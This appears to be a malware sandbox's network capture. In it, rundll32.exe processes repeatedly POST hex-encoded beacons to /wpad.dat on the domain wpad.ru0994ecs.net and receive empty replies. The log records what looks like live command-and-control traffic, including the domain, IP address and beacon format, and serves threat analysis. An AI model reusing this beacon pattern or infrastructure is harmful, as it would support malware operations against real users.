2024-04-16 21:04:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:48 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Wizvi2ZfQOnnTdrCDfwzNjJCwY1TV1uJeUChk8Y9%2BoKyg0PQ%2FYeCpedfYllAH2x2j90IZVP2Dkp%2FYlRYxD%2BV7CbLrHWotWzXobtmgk3jwkGg3j%2BYm8qEdFchW5%2BeQIum1QUYds%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757213cbc6b06e6-ATL
2024-04-16 21:04:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49877	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:49 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGvLiBhAkeTRvEaDomgr8MKGNs0lzy5WdxqqPYZP1c5x%2FWGK87cTdqrig6u5OGHEmqwLfpmJwtv6MJCPW%2BgfRzzk2GT1N3Xqd1Hm7SZZocQzdGZX%2B9YN07NceLsyMqi%2BN6oncIs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572141f8b61d70-ATL
2024-04-16 21:04:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49878	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:49 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:49 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:49 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E276fAYVFmLFFVoOyF39cy3ciXqKakuc397KzmE7f5e7opzt5FDMMeQ3xc5i3S0CKNWJ74Ij0D0dr4MlrxU1lmKzV62eCJOJi0XEqNrjXM2Uv4wbV2t360NGJOJbSs8rTHEZo3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721443cf0676c-ATL
2024-04-16 21:04:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49879	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:49 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:49 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:49 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FRqfEzBq6qxiz0P%2BlEc6EDCR9xxD%2Boo3rBDFXF1Uh7zApi42E56Z2XZLu9EGmmlhp53qdgij4hPAKLOoV4qwV4ZkkSR4VctQcKBUEf4P2QhOMPqytQcJ9ybpm3JGeFXulUk%2FBn4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721469f0606f2-ATL
2024-04-16 21:04:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49880	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:51 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:51 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:51 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=89fFEZXoEc%2F6ul1ucwDGgcLYuFyJxPrT24dhiBdsS0ibnOLQwFjICkaIAZ1lN3B2BVoO%2BIRQjTM0halIr40U5gGTtW1COLPpJr83UyFvTKJ57v1EjtKcGd6iYb6xV2DVAdhxvlk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721515aea1d62-ATL
2024-04-16 21:04:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49881	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:51 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:51 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:51 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=71nWZXlDgJmC1qI15vu3SEVEyzd9566P4XBahipksq580NLEN9yP9bqLnox8xhkn2%2F%2FtnDSQnpoE90al%2F2hMHbnYNSrOUWT2rHKmDCYCRdvijcj5cRiLmdwqwXuI8Agp6v%2BCG7U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721534db944cf-ATL
2024-04-16 21:04:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49882	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:54 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bph7neuI4%2BkBuWqJRHMmO53TGs46Fe1uNud0HTo47Q7q1eMiXgWvwt0oAQSl8PpxQS9ww3A%2BP5lJ4gk9ltU6rDwViQvFmYBCxEDXPhqURRcTom5n1KdtqaOucIg92O%2FrXHav2qM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721646b031359-ATL
2024-04-16 21:04:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49883	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:55 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lHzGDDMeUuWT6keslaMVBkJqiaEvygHiGIh7OJkrqZ4JEFXwnxmydR%2Fsz92Od0bDHgWOHDOccBYvacXyjBF2Mw7QlT4xpkSCtrkfk6V5CVICAB0GrG6IJa9EBa2U9IGtU1ZrcVk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87572167da0f8bba-ATL
2024-04-16 21:04:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49884	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:55 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:55 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:55 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78I8jCszJqo2ybox6IAfE64PKN6YzDi9MR4iG0vytP4KzMASAnAM6LqSjdN%2BoR9ZM28U2P70dZjdrLGIhAD2JBzpTxF9IPisGW7DVc%2FIiI3Ys2fvpmF4Wv5zaHPuMPU0T367nOc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757216bae594515-ATL
2024-04-16 21:04:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49885	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:57 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xdWSxNj1yEpyvpbCGNHr8EdRmxoEfWWJJM87J3bv7bVGdpU1mtJjqSmNNX1ohfjwnNfUQwhY%2BOaTBRWRUT3E8P%2BEOlR%2FazlFcGRoFXd30aE51mnG0ds1caG3pwEf4lkthMDJqng%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757217679827ba6-ATL
2024-04-16 21:04:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49886	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:58 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:58 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:58 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBflvmA5jPX5Za76HwxciSLVAsf6GRK8Il2qdz4KgBD8eAV1ZCvLs9GjViXMCVaSCt3%2BBedJn6oBXXp24F%2Fr8JrI3V%2BcPxDD1q22PBbsbbjz5Ax00T%2FlcE9BeOdf9xm%2FlV8hmUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8757217c1c717cc4-ATL
2024-04-16 21:04:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49887	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:04:59 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:04:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tbkZn4QyCvDdG7dIoi9gGq2jzsHJ0euYGYqPR5Vb36ai0nOAJsl6cM1qlziw9hcOH4y8TIA53i%2FabApvrKoh8O3FEGdPbklMLrGlAcPX8Mqnn25QGAJQGjfWoU94vC%2Frpv7TiE0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721860aa57b9c-ATL
2024-04-16 21:04:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49888	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:04:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:04:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:00 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B5%2BuzB2ZbiEliYUMyy5fDZvtRA9VpmXTNoqymeeDLhr%2FOYZBtKp08R8V5aaLfpFKhWb25VxcZNUCtiGdTaUsfQrUs%2FlRcjYVyCqksno%2FJ%2B2e7pVN38ze7kcFqq4j74Lt1c1P4xg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721879d997bca-ATL
2024-04-16 21:05:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49889	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
